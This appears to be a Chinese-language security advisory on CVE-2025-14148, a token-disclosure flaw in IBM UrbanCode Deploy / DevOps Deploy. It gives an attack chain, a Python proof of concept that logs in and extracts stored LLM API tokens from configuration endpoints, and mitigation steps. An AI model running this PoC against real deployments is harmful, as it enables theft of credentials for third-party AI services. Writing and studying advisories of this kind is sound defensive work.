IPBUF安全漏洞报告
English
CVE-2025-14148 CVSS 6.5 中危

CVE-2025-14148 IBM UCD LLM API Token信息泄露漏洞

披露日期: 2025-12-15

漏洞信息

漏洞编号
CVE-2025-14148
漏洞类型
信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
IBM UrbanCode Deploy (UCD) / IBM DevOps Deploy

相关标签

CVE-2025-14148信息泄露IBM UrbanCode DeployIBM DevOps DeployLLM API Token凭证泄露访问控制不当中危漏洞

漏洞概述

CVE-2025-14148是IBM UrbanCode Deploy(UCD,现更名为IBM DevOps Deploy)中的一个信息泄露漏洞。该漏洞影响8.1至8.1.2.3版本。漏洞源于系统允许具有LLM集成配置权限的已认证用户恢复先前保存的LLM API Token。在DevOps Deploy的LLM集成功能中,用户可以配置第三方大型语言模型服务的API凭证以便进行自动化任务。然而,系统在处理这些凭证时存在安全缺陷,使得拥有特定权限的攻击者能够检索存储在系统中的LLM API Token。攻击者可能利用此漏洞获取对LLM服务(如OpenAI、Azure OpenAI等)的未授权访问权限,进而可能导致额外的数据泄露或服务滥用风险。由于CVSS评分为6.5(中等严重程度),且需要低权限认证才能利用,该漏洞对系统安全构成中等威胁。

技术细节

该漏洞属于敏感数据存储和访问控制不当类型。在IBM DevOps Deploy的LLM集成配置功能中,系统将LLM API Token以加密或编码形式存储在数据库或配置文件中。当具有LLM集成配置权限的认证用户尝试修改或查看LLM配置时,系统会从存储中检索这些凭证信息。然而,由于访问控制检查不足,攻击者可以通过以下方式获取Token:(1) 利用配置页面的API接口直接请求凭证信息;(2) 通过Web界面查看配置详情时获取显示的Token;(3) 拦截系统响应中的敏感数据。漏洞的CVSS向量显示攻击复杂度低(AC:L),无需用户交互(UI:N),但需要低权限认证(PR:L)。攻击成功后可获得高机密性影响(C:H),但不影响数据完整性和可用性(I:N/A:N)。这意味着攻击者只能读取Token,无法修改系统配置或导致服务中断。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标系统是否运行IBM UrbanCode Deploy/DevOps Deploy 8.1-8.1.2.3版本
STEP 2
2. 认证获取
攻击者通过合法渠道获取具有LLM集成配置权限的用户账号,或利用其他漏洞提升权限
STEP 3
3. LLM配置枚举
使用认证后的会话访问LLM集成配置API端点,列出所有已配置的LLM集成
STEP 4
4. Token提取
请求特定LLM配置的详细信息,系统返回存储的API Token(可能经过简单编码)
STEP 5
5. 横向利用
利用获取的LLM API Token访问第三方AI服务,执行未授权操作或窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-14148 PoC - IBM UCD LLM API Token Recovery # Target: IBM UrbanCode Deploy / DevOps Deploy 8.1 - 8.1.2.3 TARGET_URL = "https://target-ibm-ucd.example.com" USERNAME = "attacker_user" PASSWORD = "password123" def exploit_llm_token_disclosure(): """ This PoC demonstrates how an authenticated user with LLM integration configuration privileges can recover previously saved LLM API Tokens. """ session = requests.Session() # Step 1: Authenticate to IBM UCD login_url = f"{TARGET_URL}/rest/security/authentication" login_data = { "userName": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_data, verify=False) if response.status_code != 200: print("[-] Authentication failed") return None print("[+] Authentication successful") # Step 2: Enumerate LLM integration configurations # Requires LLM integration configuration privileges llm_config_url = f"{TARGET_URL}/rest/integrations/llm/configurations" response = session.get(llm_config_url, verify=False) if response.status_code == 200: configs = response.json() print(f"[+] Found {len(configs)} LLM configurations") # Step 3: Extract API Tokens from configurations for config in configs: config_id = config.get("id") config_name = config.get("name") # Get detailed configuration including API Token detail_url = f"{TARGET_URL}/rest/integrations/llm/configurations/{config_id}" detail_response = session.get(detail_url, verify=False) if detail_response.status_code == 200: details = detail_response.json() api_token = details.get("apiToken") or details.get("api_key") if api_token: print(f"[*] Configuration: {config_name}") print(f"[*] API Token: {api_token}") return api_token print("[-] No LLM API Tokens found or access denied") return None if __name__ == "__main__": print("CVE-2025-14148 PoC - IBM UCD LLM Token Disclosure") print("=" * 50) token = exploit_llm_token_disclosure() if token: print(f"\n[+] Successfully recovered LLM API Token: {token}")

影响范围

IBM UrbanCode Deploy 8.1
IBM UrbanCode Deploy 8.1.0
IBM UrbanCode Deploy 8.1.1
IBM UrbanCode Deploy 8.1.2
IBM UrbanCode Deploy 8.1.2.1
IBM UrbanCode Deploy 8.1.2.2
IBM UrbanCode Deploy 8.1.2.3
IBM DevOps Deploy 8.1 through 8.1.2.3

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:(1) 立即审查所有具有LLM集成配置权限的账户,撤销非必要权限;(2) 轮换所有已配置的LLM API Token;(3) 启用详细的访问审计日志,监控对LLM配置的异常访问;(4) 限制LLM配置API端点的网络访问,仅允许受信任的管理网络访问;(5) 考虑暂时禁用LLM集成功能,直到完成补丁应用;(6) 实施额外的访问控制措施,如IP白名单或多因素认证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表